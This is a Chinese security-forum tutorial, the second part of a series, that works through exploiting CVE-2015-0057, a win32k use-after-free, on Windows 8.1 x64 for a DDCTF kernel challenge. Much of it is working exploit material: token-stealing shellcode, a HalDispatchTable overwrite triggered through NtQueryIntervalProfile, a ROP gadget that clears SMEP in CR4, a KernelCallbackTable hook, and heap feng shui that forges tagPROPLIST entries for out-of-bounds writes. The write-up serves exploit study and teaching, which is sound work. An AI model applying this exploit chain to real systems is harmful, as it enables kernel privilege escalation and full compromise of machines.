首页
社区
课程
招聘
[原创]windows 内核系列二: cve-2015-0057 ==> DDCTF kernel pwn第二题
2018-10-15 09:50 12622

[原创]windows 内核系列二: cve-2015-0057 ==> DDCTF kernel pwn第二题

2018-10-15 09:50
12622

0x00: 前言

这是UAF系列的第二篇. 三篇的主要内容如下.

[+] 第一篇: HEVD给的样例熟悉UAF
[+] 第二篇: CVE-2015-0057在win8 X64下的利用
[+] windows 10 x64下的UAF

首先要说很多感谢, NCC group真的做了很杰出的工作, 受益颇多. 然后是keenjoy98老师, 他在blackhat上提供的PDF给我思路的理解提供了很大的帮助. 还有拖了这么多天. sakura师父没有把我打死. 还有就是小刀师傅这段时间不厌其烦的解惑.

 

然后是一点小小(大大)的抱歉.

[+] 这篇文章出来的比较晚. 其实第一篇文章写完之后就开始写第二篇了. 但是写完一大半的时候发现用户回调我还是不够透彻. 就vim 1000dd之后重新分析了一个洞.
[+] 这篇文章可能比较长. 因为这个洞牵涉到的知识点比较多. 但是不用担心. 涉及到的知识点大多数在其它漏洞中可以重复利用. 你只用学一次就够了.
[+] exp的代码还是写的太烂了, 最后成功提了权. 由于漏洞折腾了我很久. 所以实在没心情去重新组织代码结构了.

其次是一点小小的说明.

[+] 我把这个系列叫做系列大概是因为我无法保证我所会的是最好的解决方案, 很多东西只能凭现有的知识体系去想. 实现的过程肯定是走弯路了. 所以无法具有教程的资格.
[+] 但是anyway, 我擅长犯错. 希望把我的错贴出来. 避免下一位内核选手重复犯错(古巨基的很好听的一首歌)
[+] 笨方法总比没有办法好. 所以不如试试
[+] 一起成长

然后是一点啼笑皆非的事. 我实习的时候想去xxx, 然后师傅和我说. 你要是把ddctf的两道kernel pwn的题做出来, 我不认为你去不了. 所以ddctf的pwn题本来是我这个月末的目标来着. 结果在做堆头修复的时候. 查资料才发现这就是第二题... emmmmm. 不过我由于我参考了过多的资料, 所以其实不算做出来.

 

下面是文章主要涉及的知识点:

[+] 利用win32k回调实现漏洞利用
    ==> 漏洞类型: UAF ==> 转化 ==> out of bouds ==> uaf ==> 利用(这个地方先不用太介意. 后面我会详细解释)
[+] windows8.1下利用泄露cookie修复堆头
[+] windows8.1下绕过SMEP
[+] heap feng shui
[+] 64位下shellcode的编译
[+] 在实现了write-what-where之后, 如何在内核调用shellcode

我自己浪费的时间比较久的是:

[+] heap fengshui花了我大量的时间
[+] cookie修复堆头浪费了我大量的时间
[+] 寻找可利用的回调函数

所以我会把这三个部分我犯得错误贴出来. 希望能够帮你避免你能够重复犯错.

 

代码的实现我实现的NCC group的方法. 由于英文比较差, 出现了点理解误差, 所以我的布局和NCC gruop的有一点点小的不同. keenjoy98老师的方法我觉得我应该大概理解了, 但是我可能想的麻烦了, 所以就不再赘述.

 

希望这篇文章对你能够有点小小的帮助.

 

Let's Go

0x01: 一个小故事

故事的开头是这样的. 有一天你想实现一下内核提权. 于是你写了如下的shellcode.

shellCode proc
; shellcode编写
mov rax, gs:[188h]    ;Kprcb.Kpthread
mov rax, [rax+220h]    ;process
mov    rcx, rax    ; keep copy value
mov    rdx, 4        ; system PID

findSystemPid:
    mov    rax, [rax+2e8h]    ; ActiveProcessLinks : _LIST_ENTRY
    sub    rax, 2e8h
    cmp    [rax+2e0h], rdx
    jnz findSystemPid 

    ; 替换Token
    mov rdx, [rax+348h]    ; get system token
    mov [rcx+348h], rdx    ; copy
    ret

shellCode endp

这部分的shellcode你可以从第一篇当中的到解释从而类推. 或者你可以在这里得到. 代码也有详细的注释. 所以 这一部分. 我主要讲一下如何编译64的汇编. x64不支持_asm内联汇编. 所以我目前知道的有三种选择.

[+] 编写出shellcode. 采用其它软件(masm之类)生成可执行文件. 然后dump出字节码. 存储为char x[] = "\x90\x90"
[+] 利用c提供的函数实现汇编的功能
[+] 独立写.asm文件, 然后编译

我个人更喜欢第三种. 因为好看. 我的环境是vs 2015. 设置编译选项的动态图如下. shellcode

 

需要注意的是这两个命令. 原封不动的ctrl+cctrl+v即可

ml64 /c %(filename).asm
%(filename).obj;%(outputs)

好了. shellcode的编译已经写完了. 我们知道shellcode只能在内核当中执行. 如何在内核当中执行它呢. 在内核当中我们观察到一个有趣的代码段.

 

ntQueryIntervalPtrofile
函数nt!NtQueryIntervalProfile+0x22调用了nt!KeQueryIntervalProfile, 接着我们观察一下nt!KeQueryIntervalProfile, 发现如下代码段.
KeQueryIntervalProfile

 

我们发现这个地方调用了一个函数指针(一个指针用来存储函数的地址), 我们存储在nt!HalDispatchTable+0x8处 , 那么它指向哪一个函数呢呢. 运行下面的指令

 

 

hal是一个函数指针数组. dqs列出其中的值. 我们看到函数hal!HaliQuerySystemInformation存储在偏移0x8处. 如果. 我是说我们如果能有一个对任意地址写的机会. 我们就有能力修改偏移0x8处的值. 何不试试把它改成shellcode的地址. 那么在KeQueryIntervalProfile中的代码可以替换成call shellcode. 于是我们就可以执行shellcode. 记下我们接下来要实现的目标

[+] 需要有任意地址读写的机会
[+] 修改hal表的0x8为shellcode地址

那么我们去找一个漏洞吧, 才不要(逃), 作为一个win内核选手我们得记住我们是拥有windbg的男人. windbg具有的功能

[+] 可以采用eq eb ed等指令来修改数据(q b d代表修改的数据大小)

所以我们可以采用windbg来模拟任意地址读写. 整个过程的步骤如下.

[+] 找到haldispatchtable的地址
[+] 修改0x8处的地址为shellcode的地址
[+] 触发我们的NtQueryIntervalProfile函数, 来进行内核提权.

最后我们采用在代码最后加上system("cmd") 创建cmd, 用来观察提权是否成功.main函数代码如下.

#include <Windows.h>
#include <iostream>
#include "shellcode.h"

typedef NTSTATUS(__stdcall *NtQueryIntervalProfile_t)(UINT, PULONG);
NtQueryIntervalProfile_t NtQueryIntervalProfile;

BOOL runShellcode()
{
    ULONG_PTR newcr4 = 0x406f8;
    NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(GetModuleHandleA((LPCSTR) "ntdll.dll"), "NtQueryIntervalProfile");

    if (!NtQueryIntervalProfile) {
        std::cout << "failed" << std::endl;
        exit(1);
    }
    __debugbreak();
    NtQueryIntervalProfile(0x100300, (PULONG)&newcr4); // 传的两个参数先不用管, 后面解释.
}

int main()
{
    std::cout << "shellcode address: " << shellCode << std::endl;    //为了避免编译优化
    runShellcode();
    system("cmd");
}

需要注意的shi__debugbreak, 相当于int 3, 方便我们使用windbg, 这是我exp开发过程中用的最多的命令. 动态图如下:
蓝屏
wait, 咋和说好的不一样呢. 蓝屏了.

 

万恶之源来源于在微软在win8下实现的一个缓解措施. SMEP. 解释如下.

[+] windows如果检测到在内核层次执行用户层的代码. 会产生蓝屏. 

上面的逻辑我们用伪代码表示如下.

if(在内核模式)
{
    if(SMEP启用)
    {
        if(ring0代码运行在user space)
        BSOD();    //蓝屏
    }
}

我们看到那个地方有一个条件判断. 是否开启SMEP. 所以绕过这个判断. 让我们加入这一个语句绕过smep.

r cr4=0x406f8    // 修改cr4寄存器值为0x406f8. 为什么要这样修改下一节有解释(关闭SMEP).

ok, 再次运行. 得到提权. 演示如下.
骗你的smep绕过 !

 

好了. 提权成功, 那我们这篇文章到这里就结束了(我就皮一下...).

 

好吧, 还没有. 我们用的调试器. 那么我们得用代码模拟调试器呀. 如何模拟调试器呢. 三个小目标.

[+] 使用代码模拟调试器的r cr4=0x406f8的功能, 绕过SMEP
[+] 使用代码模拟调试器修改haldispatchtable的功能, 使其能够运行shellcode
[+] 用代码来模拟调试器的任意地址读写的功能

我们先讲前两个.

smep绕过

我们前面的蓝屏是一键很难受的事, 所以我们得绕过SMEP.

 

SMEP是微软在win8先加的缓解措施. 其目的是kernel不可执行user space的代码. 所以假设我们的shellcode放在0x410000处(user mode), 我们控制rip执行shellocde的时候, 就会产生kernel执行user space代码的情况. 于是BSOD发生. 漏洞利用失败.

 

wait. 某某不可执行, 于是我们想到了我们的老本行, DEP. 数据段不可执行. 那么我们可不可以利用DEP的绕过方式: ROP. 答案是肯定的. 于是我们来看下面这一段代码.

kd> u fffff802`005f97cc
    nt!KiConfigureDynamicProcessor+0x40:
    fffff802`005f97cc 0f22e0          mov     cr4,rax
    fffff802`005f97cf 4883c428        add     rsp,28h
    fffff802`005f97d3 c3              ret

等等, cr4是啥. cr4是决定SMEP的关键寄存器. SMEP将基于cr4寄存器来判断. 先来看一张图.

 

smep

 

我们通过smep标志位(第20位, 从0计数)来判断是否要启用SMEP. 我们来查看一下我们的cr4寄存器的运行在我的环境下触发漏洞前后的对比.

.formats 00000000001506f8 //开启之前
    Binary:  00000000 00000000 00000000 00000000 00000000 0001        0101 00000110 11111000
.formats 0x406f8
    Binary:  00000000 00000000 00000000 00000000 00000000 0000        0100 00000110 11111000

我们可以看到关键bit位的更改, 假设我们把haldispatchtable+0x8处改为nt!KiConfigureDynamicProcessor+0x40的时候, rax也刚刚好为0x406f8, 而刚好返回地址也为shellcode的地址, 那么简直完美. 幸运的是, 假设我们把漏洞利用函数改为此.

ULONG_PTR newcr4 = 0x406f8;
NtQueryIntervalProfile(shellcodeaddress, (PULONG)&newcr4);

动态调试你会发现其刚刚好. 不幸的是, 我们查看这个地方的汇编代码, 长这样:

NtQueryIntervalProfile(0x100300, (PULONG)&newcr4);
00007FF77DCB200A  lea         rdx,[newcr4]  
00007FF77DCB200F  mov         ecx,100300h  ==> 注意这里是ecx
00007FF77DCB2014  call        qword ptr [NtQueryIntervalProfile (07FF77DCC3EB0h)]  

问题出在ecx. 这个地方返回地址我们可控的是32位, 而我们的exp是64位, 也就是shellcode地址是64位的. pwn2town上介绍了一种我完全看不懂的方法(由于这个原因, 我尝试过其他的SMEP bypass). 所以我换了另外一个思路.

void * p = (void*)0x100000;
p = VirtualAlloc(p, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memset(p, 0x41, 0x1000);
CopyMemory((VOID*)0x100300, shellCode, 0x200);    //现在shellcode32位可表示地址了.

在我的源码最后, 我加了这么几句, 来恢复堆栈平衡和修复cr4寄存器(不能瞎改内核的东西, 借完之后借的还回去)

sub rsp,30h
mov rax, 0fffff8020074af75h
mov [rsp], rax    //这一部分恢复堆栈
ret

如果你惊讶于30等值是如何检测出来的, 你可以利用你的windbg, 动态调试来修复就可以了. 而0fffff8020074af75h是由于ROP的时候返回地址被破坏了, 我一开始采用虚拟机把它记作一个常量. 后来用获取基地址的计数把它替换掉了, 具体的你可以查看我的源码.

修改nt!haldisptachtable函数指针数组第二项.

由于windbg的存在, 我们可以假设我们已经拥有了write-what-where的功能. So, 如果是要完成将第二项改为shellcode的地址. 那我们第一件要做的事, 势必是去找到他. 调试器中我们很机智的用dqs就找到了, 但是在代码当中如何来实现呢. 源代码当中我是这样实现的

ULONG_PTR getHalDispatchtableAddress()
{
    GetKernelImageBase();    // 获取kernel base address
    HMODULE hNtosMod = LoadLibrary("ntoskrnl.exe");
    ULONG lNtHalDispatchTableOffset = (ULONG)GetProcAddress(hNtosMod, "HalDispatchTable") - (ULONG)hNtosMod;
    nt_HalDispatchTable = (ULONG_PTR)pKernelBase + lNtHalDispatchTableOffset + 8;
    return nt_HalDispatchTable;    // 返回第二项的地址.
}

首先, 我们假设我们经过GetKernelImageBase函数获取到了"ntoskrnl.exe"加载在内存当中的基地址, 并把它赋值给了pKernelBase变量(后面我们会让这个假设成为真实). 上面的代码获取nt!haldispatchTable在内核当中的地址的思路是:

[+] 先LoadLibrary装载ntoskrnl.exe到user space. 获取其基地址(hNtosMod)
[+] 获取HalDispatchTable在user space的地址(pKernelBase)
[+] 获取ntosknrl.exe在内核当中的地址(GetProcAddress)
[+] 用内核基地址加上偏移算出nt!haldispatchtable在内核当中的地址

好了, 让我们来获取pKernelBase.

获取pKernelBase

windows加了地址随机化. 所以每次开机重新加载的时候. ntoskrnl.exe在内核当中的基地址都不一样. 这一部分, 其实我的个人建议是, 直接保存一个虚拟机镜像, 这样KASLR就已经被绕过了. 直接拷出每个函数在这个镜像当中的地址, 然后直接使用, 把后面的做完了再来绕过KASLR. anyway, 让我们来看一下如何找到内核当中的ntoskrnl的镜像.

VOID GetKernelImageBase()
{
    [...]
    PSYSTEM_MODULE_INFORMATION Modules = {};
    Modules= (PSYSTEM_MODULE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len);
    NTSTATUS status = NtQuerySystemInformation(SystemModuleInformation, Modules, len, &len);

    // 循环遍历 获取kernel imagebase address
    for (int i = 0; i<Modules->Count; i++) 
        if (strstr(Modules->Module[i].ImageName, "ntoskrnl.exe") != 0)
            pKernelBase = Modules->Module[i].Base;
}

我的学习是在r00k1ts大大的这篇文章找到了答案, 获取基地址的思路如下.

[+] 指定一个SystemModuleInformation类, 
[+] 调用windows提供的未文档化的NtQuerySystemInformation函数
[+] 获取到一个加载的模块列表以及他们各自的基地址(包括NT内核)
[+] 循环遍历每一个module, 比较其模块名字是否含"ntoskrnl.exe". 如果是, 说明基地址找到.

漏洞利用.

哇, 走到这里, 万事OK, 现在我们所欠缺的, 只是如何构造一个write_what_where而已. 让我们来看看我们的漏洞的代码.

// 部分代码省略掉
// win32k!xxxEnableWndSBArrows()
__int64 __fastcall xxxEnableWndSBArrows(struct tagWND *pwnd, int wsbFlags, int wArrows)
{
    [...]
    psbInfo = (int *)*((_QWORD *)pwnd + 22);
    iwArrows = wArrows;
    iWsbFlag = wsbFlags;
    pwndWndCopy = pwnd;

    [...]
    if ( !iWsbFlag || iWsbFlag == 3 )    // 判断其是否为SB_HORZ或者SB_BOTH类型
    {
        [...]
        if ( *((_BYTE *)pwndWndCopy + 40) & 4 ) 
        {
            if ( !(*((_BYTE *)pwndWndCopy + 55) & 0x20) && IsVisible(pwndWndCopy) )    
            xxxDrawScrollBar(v13, v10, 0);    // 线段起始地点1
                                            // UAF最重要的一个地方
        }
        [...]
    }
    if ( !((iWsbFlag - 1) & 0xFFFFFFFD) )
    {
        *psbInfo = iwArrows ? 4 * iwArrows | *psbInfo : *psbInfo & 0xFFFFFFF3;    // 线段结束地址二
                                                                                // 这里假设psbInfo的结构大小为2
                                                                                // 运算之后变成0xe
    }
    [...]
}

很好, 逆向这一部分的工作, 你可以查看我上传的IDB文件观察细节, ncc gourp里面也给了详细的解释. 这里我先给出另外一个函数.

[+] EnableScrollBar(hwndVulA, SB_CTL | SB_BOTH, ESB_DISABLE_BOTH); // 此函数用于触发漏洞函数.

微软给出这个函数的解释如下:

[+] EnableScrollBar函数用于启用或者仅用滚动条的光标

三个参数与漏洞函数的三个参数关系如下.

[+] hwndVulA ==> pwnd对应的漏洞窗口句柄.
    ==> 微软解释: Handle to a window or a scroll bar control, depending on the value of the wSBflags parameter
[+] SB_CTL | SB_BOTH ==> wsbFlags
    ==> SB_CTL : 定义此滚动条是一个滚动控件 2
    ==> SB_BOTH: 启用光标和禁用光标的行为针对垂直滚动条和横向滚动条 3
[+] ESB_DISABLE_BOTH ==> wArrows
    ==> 把两个滚动条都禁用.

So, 前面讲了这么多和我们的漏洞有什么关系呢, 针对一个滚动条控件窗口, 首先由一个tagWND窗口来装载(第一个参数pwndWnd), 期间有一个psbInfo结构体. 如下:

kd> dt win32k!tagWND -b pSBInfo
       +0x0b0 pSBInfo : Ptr64 tagSBINFO

psbInfo存储滚动条的相关信息, 定义如下:

kd> dt win32k!tagSBINFO -r
+0x000 WSBflags         : Int4B
+0x004 Horz             : tagSBDATA
    +0x000 posMin           : Int4B
    +0x004 posMax           : Int4B
    +0x008 page             : Int4B
    +0x00c pos              : Int4B
+0x014 Vert             : tagSBDATA
    +0x000 posMin           : Int4B
    +0x004 posMax           : Int4B
    +0x008 page             : Int4B
    +0x00c pos              : Int4B

接着, 你可以利用这几个结构体去查看上面的代码, 这里我直接给出结论.

[+] 在xxxDrawScrollBar里面会触发某个函数回调, 用户可以控制这个函数回调. 定义这个函数回调为fakeCallBack
[+] 在fakeCallBack里面, 我们使用DestoryWindow(hwndVulA), 使psbInfo内存块为free态
[+] 使用堆喷技术可以篡改psbInfo的值
[+] 在程序线段二处, 进行了一次异或运算. 假设(请调试验证):
    WSBflags 被我们篡改为2
    WArraow = 3
    ==> *psbInfo = iwArrows ? 4 * iwArrows | *psbInfo : *psbInfo & 0xFFFFFFF3;
    ==> WSBflags = 3 ? 4 * 3 | 2 : ...
                = 0xe

[+] 我们最后的目的利用的就是这个0xe, 怎么利用后面解释.

我们看一下过程.
变成0xe

 

我们得经过上面的这个程序才能实现完整的漏洞触发. 你可以进行逆向看下必须满足什么条件. 这里我给出结论.

[+] 首先scrollbar的窗口是可见的, 设置WM_VISIBLE(这个地方我卡了很久才得出...)
[+] scrollbar的窗口是子窗口. 即WS_CHILD

于是, 相关的源代码当中, 体现这两个细节的是.

[+] CreateWinwodw(,....WS_VISIBLE,....) // 父窗口的创建.
[+] hwndVulA = CreateWindowExA(0, "SCROLLBAR", NULL, WS_CHILD | SBS_HORZ | WS_HSCROLL | WS_VSCROLL, 10, 10, 100, 100, hwndPa, HMENU(NULL),              NULL, NULL);

    // 让其可见.
    ShowWindow(hwndVulA, SW_SHOW);
    UpdateWindow(hwndVulA);

So, 我们来实现控制回调函数.

回调的使用.

回调在我看来, 是内核漏洞发生的本源. 因为如果从内核层次回到user mode, 再从user mode回到内核层次, 在用户层次的时候我们拥有着极大的自由. 这样的我们能够做太多事了.

 

SO: 如何利用回调.

利用回调.

我们假设, 在xxxDrawScrollBar里面会触发某个函数回调, 代码会去执行回调函数A, 如果我们能够HOOK回调函数A. 使其指向我们自己写的回调函数, 我们就能在此期间做一些坏坏的事. 关键的问题是, 这个回调函数A是谁呢?

确定回调函数A.

现在的我看来, 这是一个很简单的问题, 但是当时的我, 花了足够多的时间去解决和思考这个问题.

 

一开始的时候, 我选用的方法是: 静态阅读xxxDrawScrollBar的代码, 看下他当中有哪些回调函数, 确定哪些函数会被调用. 于是我祭出了我的IDA, 就一步一步的点啊之类的. 在经历了漫长的调试分析之后, 我失败了. 因为到后面的时候我的思绪乱了.

 

于是夜里三点, 躺在寝室的床上, 我开始思考人生, 真的要这样下去么, 一辈子就看着代码点点点度日子... 突然灵光一闪烁, 我意识到这样下去破日子不能这样子过下去. 于是我开始思考我掌握的和回调相关的知识. 定位到了关键性的几个信息.

Hook回调函数

首先看一条命令.

kd> dt nt!_PEB @$peb
[...]
    +0x058 KernelCallbackTable : 0x00007ff9`2107eb00 Void
[...]

此处指向回调函数指针数组, 类似于这样:

[+]  KernelCallbackTable = {0x3333333, 0x444444, 0x5555555};

接着查看回调函数必然经过这里:

kd> u nt!KeUserModeCallback
    nt!KeUserModeCallback:
    fffff802`00675e10 4c894c2420      mov     qword ptr [rsp+20h],r9 ==> 稍后请在这里下断点
    fffff802`00675e15 4489442418      mov     dword ptr [rsp+18h],r8d
    fffff802`00675e1a 4889542410      mov     qword ptr [rsp+10h],rdx
    fffff802`00675e1f 894c2408        mov     dword ptr [rsp+8],ecx
    fffff802`00675e23 53              push    rbx
    fffff802`00675e24 56              push    rsi
    fffff802`00675e25 57              push    rdi
    fffff802`00675e26 4154            push    r12

该函数的原型如下:

NTSTATUS KeUserModeCallback (
    IN  ULONG     ApiNumber, ==> rcx指向
    IN  PVOID     InputBuffer, ==> 传入的参数
    IN  ULONG     InputLength,
    OUT PVOID    *OutputBuffer,
    IN  PULONG    OutputLength
    );

其中, ApiNumber勾起了我的兴趣

[+] 这里的 ApiNumber 是表示函数指针表(USER32!apfnDispatch)项的索引,在指定的进程中初始化 USER32.dll 期间该表的地址被拷贝到进程环境变量块(PEB.KernelCallbackTable)中。

期间, 我在一个win32k的paper上看到如上定义, 也就是说, 我只要能够通过确定rcx的值, 来确定我要hook的回调函数是谁.

 

首先, 在这两个地方下断点.

kd> u fffff960`0025870e
win32k!xxxEnableWndSBArrows+0x959e2:
fffff960`0025870e e8bda7f6ff      call    win32k!xxxDrawScrollBar (fffff960`001c2ed0)    ==> 这里下
fffff960`00258713 90              nop     ==> 这里下

此指令用于查看寄存器的值

r rcx

在地点A和地点B之间会经过nt!KeUserModeCallback处, 我们查看rcx, 即可确定会调用哪些回调函数. 就是这么简单.

 

hook函数思路演示

 

最后我选取了NCC group推荐的回调函数, 在确定了需要HOOK函数之后, 代码如下.

getHookSaveFunctionAddr proc
mov        rax, gs:[60h]    ; 指向PEB
mov        rax, [rax+ 58h]    ; 指向KernelCallbackTable
add        rax, 238h        ; API number * 8
ret
getHookSaveFunctionAddr endp

OK, 由此我们get到了需要HOOK的函数地址, 所以后面我们只要进行简单的相应的赋值语句就好了.

[...]
ptrHookedAddr = getHookSaveFunctionAddr();
[...]
*(ULONG_PTR *)ptrHookedAddr = (ULONG_PTR)fakedHookFunc;    
[...]

Hook完毕, 让我们进行下一步. 在我们自己定义的fakeHookFunc之中, 我们能干些啥.

fakedHookFunc(自定义回调函数实现UAF)

这一步, 我决定先给出相关的代码实现:

VOID fakedHookFunc(VOID *)
{
    CHAR Buf[0x1000];
    memset(Buf, 0, sizeof(Buf));
    if (hookedFlag == TRUE)
    {
        if (hookCount == 1)
        {
            hookedFlag = FALSE;
            //PTHRDESKHEAD tagWND = (PTHRDESKHEAD)pHmValidateHandle(hwndVulA, 1);    //获取psbInfo对应的内核地址, 调试使用
            //__breakcode()    //调试使用.
            DestroyWindow(hwndVulA);    // 释放psbInfo

            for(int i = 0; i < hwndCount; i++)    // 堆喷, 填充psbInfo
                if (sprayWnd_5[i] != NULL)
                {
                    SetPropA(sprayWnd_5[i], (LPCSTR)(0x7), (HANDLE)0xBBBBAAAABBBBAAAA);
                    SetPropA(sprayWnd_5[i], (LPCSTR)(0x8), (HANDLE)0xBBBBAAAABBBBAAAA);
                }
        }
        hookCount++;
    }
    _theRalHooedFunc(Buf);
}

首先想说的Hookflag和hookCount, 我们在hook了函数之后, 这个回调函数很有可能被系统的其他部分使用. 但是我们想控制的只是由xxxDrawScrollBar触发的时候, 所以我们得确定一下哪一次才是由xxxDrawScrollBar触发的. 我设置这两个变量就是为了做这件事.

hookedFlag = TRUE;  // 看这
EnableScrollBar(hwndVulA, SB_CTL | SB_BOTH, ESB_DISABLE_BOTH);

这一部分我们保证了我们从进入触发流程之后再计数, 之后我们在调用xxxDrawScrollBar下断点, 看一下从xxxDrawScrollBar之后进去HOOK是第几次. 是不是有点小小的绕, 让我们来看一下动态的过程.

 

之后是两处注释, phmValidateHandle函数用于获取hwndVulA的内核地址, 是为了方便我自己调试用的. 至于如何获取的, 你可以查看这里(小刀师傅的博客). 接着.

 

偏移为b0的地方为其psbInfo. 于是我用了下面的语句来查看信息.

dq poi(rax+b0)

如果rax+b0 地址为 0400: 100, 那么这条命令会打印出100处的内容. 在我整个exp开发的过程中, 我频繁的使用这条语句来进行堆风水布局的验证.

 

接着是DestoryWindow, 这个函数会销毁窗口的相关内容, 但是其句柄因为不会被销毁, 因为其引用计数不能为0. 但是已经够了, 这样之后, 我们的psbinfo处于free状态, 且指针不为0. 于是我们可以通过堆喷射(堆喷射请参考上一篇)来重新填充内容.

 

如何来通过堆喷来伪造填充我们的psbInfo呢, 先看一下正常状况下的pbInfo. 我dump下来的数据如下:

kd> dq fffff901`40ac5570-10
    fffff901`40ac5560  00000000`00000000 0c0055ff`699dfbd6 --> _HEAP_ENTRY
    fffff901`40ac5570  00000000`00000003 00000000`00000064 --> 这个地方存放psbInfo的结构
    fffff901`40ac5580  00000000`00000000 00000000`00000064
    fffff901`40ac5590  00000000`00000000  

接着我调用了下面一个for循环, 实现了堆喷. 覆盖数据如下所示:

for(int i = 0; i < hwndCount; i++)
            if (sprayWnd_5[i] != NULL)
            {
                SetPropA(sprayWnd_5[i], (LPCSTR)(0x7), (HANDLE)0xBBBBAAAABBBBAAAA);
                SetPropA(sprayWnd_5[i], (LPCSTR)(0x8), (HANDLE)0xBBBBAAAABBBBAAAA);
            }

// 数据:
kd> dq fffff901`40ac5570-10
    fffff901`40ac5560  00000000`00000000 080055ff`699dfbd6
    fffff901`40ac5570  00000002`00000002 bbbbaaaa`bbbbaaaa    --> 这个地方的2最后会变为0xe. 先不管
    fffff901`40ac5580  00000000`00000007 bbbbaaaa`bbbbaaaa
    fffff901`40ac5590  00000000`00000008 

为了证明不是我瞎编的, 图如下.

 

上面那一小节我们证明了我们的看到了我们的win32k!tagSBINFO大小为0x30(加上对齐和_HEAP_ENTRY, 先别在意这两个.), 接着我们来查看一个结构体:

kd> dt win32k!tagPROPLIST -r
+0x000 cEntries         : Uint4B 
+0x004 iFirstFree       : Uint4B
+0x008 aprop            : [1] tagPROP
    +0x000 hData            : Ptr64 Void
    +0x008 atomKey          : Uint2B
    +0x00a fs               : Uint2B

调用SetPropA第一次的时候, 首先会在分配一个堆, 存储一个tagPropLIST结构体. 第二次调用setPropA的时候, 会继续分配一个tagPROP结构体(0x10). 也就刚刚是0x28, 再加上其的-heap-enrty. 刚刚好合适.

 

接着, 由于刚好是2个, 根据前面的结论. 这个数值会在后面的异或过程中变为0xe. 我们如何来利用0xe呢. 恐怕我们就得说一下tagPropList了.

tagPropListA结构体.

首先来查看SetPropA函数:

BOOL SetPropA(
    HWND   hWnd,
    LPCSTR lpString,
    HANDLE hData
    );

这个函数对于此次漏洞利用的信息有:

[+] 初次调用的时候会生成一个tagProp结构体
[+] 其后的调用的时候, 如果lpString在以前没有声明过. 那么会添加一个tagPROP结构体(0x10), 所以你才能看到我前面定义的0x7, 和0x8.

这一部分过了之后, 那么我们如何使用这个特性呢. 我们得对前面的结构体加一点点注释.

kd> dt win32k!tagPROPLIST -r
+0x000 cEntries         : Uint4B ==> 表面一共有多少个tagPROP    ==> 用这个越界读写.
+0x004 iFirstFree       : Uint4B ==> 表明当前正在添加第几个tagPROP结构体
+0x008 aprop            : [1] tagPROP ==> 一个单项的tagProp
    +0x000 hData            : Ptr64 Void ==> 对应hData
    +0x008 atomKey          : Uint2B ==> 对应lpString
    +0x00a fs               : Uint2B ==> 无法控制, 和内核实现的算法无关.

在漏洞函数执行回win32k!xxxEnableWndSBArrows()函数之后, 通过前面的讨论, 内核结构遭到篡改. 内核会误以为一共有0xe个tagProp, 所以我们可以在后面继续调用setProp覆盖后面的数据. 也就是有了一个越界读写的能力. ==> 能写0xe个tagProp

 

听起来不错, 我们有了破坏内核结构的能力. wait, 如果你仔细的查看tagProp和setPropA的对应关系. 你会发现写原语残缺. 截图如下.

 

高亮的部分就是我们可以控制的内容. 非高亮部分是无法控制的. 我们在win32k!的利用当中, 常见的思路是去破坏tagWND结构体的某一个值. 然后实现任意地址读写. 但是, 假设我们后面接的是一个tagWND结构体, 那么我们进行写操作的时候我们必定会对其中的某些重要值照成破坏. 照成利用失败.

 

于是NCC gruop安排了一个新的布局(这一部分的布局我自己改了一下). 如下.

kd> dq fffff901`40ac5570-10 l30
    fffff901`40ac5570  00000002`00000002 bbbbaaaa`bbbbaaaa ==> 这个地方存储一个tagPROPLIST
    fffff901`40ac5580  00000000`00000007 bbbbaaaa`bbbbaaaa
    fffff901`40ac5590  00000000`00000008 100055e4`699dfbd6 ==> 这个地方存储一个windows text 注意依据前面逻辑, 后面的100055e4`699dfbd6可以控制
    fffff901`40ac55a0  43434343`43434343 43434343`43434343
    fffff901`40ac55b0  43434343`43434343 43434343`43434343
    fffff901`40ac55c0  00000000`00000000 100055e4`729dfbcd ==> 这个地方存储一个tagWND结构体
    fffff901`40ac55d0  00000000`00021476 00000000`00000003 
    fffff901`40ac55e0  fffff901`407fcb70 ffffe000`02d1e1a0
    fffff901`40ac55f0  fffff901`40ac55d0 80000700`60080018
    fffff901`40ac5600  04c00000`00000100 00000000`00000000
    fffff901`40ac5610  00000000`00000000 fffff901`40835890
    fffff901`40ac5620  fffff901`40ac5750 fffff901`40800830
    fffff901`40ac5630  00000000`00000000 00000000`00000000
    fffff901`40ac5640  00000020`00000020 0000030d`000005c0
    fffff901`40ac5650  00000046`00000029 00000304`000005b7
    fffff901`40ac5660  00007ff9`229677d0 fffff901`408204c0
    fffff901`40ac5670  00000000`00000000 00000000`00000000
    fffff901`40ac5680  00000000`00000000 00000000`00000000
    fffff901`40ac5690  00000000`00000000 00000000`00000000
    fffff901`40ac56a0  00000000`00000000 00000000`00000000
    fffff901`40ac56b0  00000000`00000000 00000000`00000000
    fffff901`40ac56c0  fffff901`40ac55d0 00000000`001c0271
    fffff901`40ac56d0  00000000`00000000 00000000`00000000

下面我们来解释为什么要这样布局. 首先看一个函数.

    memset(o4str, '\x43', 0x30 - _HEAP_BLOCK_SIZE);
    RtlInitLargeUnicodeString(&o4lstr, (WCHAR*)o4str, (UINT)-1, 0x30 - _HEAP_BLOCK_SIZE - 2);
    [...]
    NtUserDefSetText(sprayWnd_5[i], &o4lstr);    // 注意这个函数

接着查看一下tagWND的一个结构体成员.

kd> dt win32k!tagWND -b strName
       +0x0d8 strName : _LARGE_UNICODE_STRING

kd> dt _LARGE_UNICODE_STRING
    win32k!_LARGE_UNICODE_STRING
    +0x000 Length           : Uint4B ==> windows text的长度
    +0x004 MaximumLength    : Pos 0, 31 Bits ==> 最大长度
    +0x004 bAnsi            : Pos 31, 1 Bit 
    +0x008 Buffer           : Ptr64 Uint2B ==> 指向字符串的指针

当调用NtUserDefSetText函数的时候, 内核当中, 关联的tagWND结构体的strName会有相应的改变. buffer存储一个指针, 指向o4lstr指向的字符串. 而这一步的关键点在于. 这些字符是分配在一个堆中. 堆含有一个堆头. 如下所示:

kd> dt nt!_HEAP_ENTRY
    +0x000 PreviousBlockPrivateData : Ptr64 Void
    +0x008 Size             : Uint2B    ==> 堆的大小
    +0x00a Flags            : UChar        ==> 空闲还是free
    +0x00b SmallTagIndex    : UChar        ==> 用来检测堆是否被覆盖
    +0x00c PreviousSize     : Uint2B    ==> 前一个堆块的大小
    +0x00e SegmentOffset    : UChar
    +0x00e LFHFlags         : UChar
    +0x00f UnusedBytes      : UChar
    +0x008 CompactHeader    : Uint8B
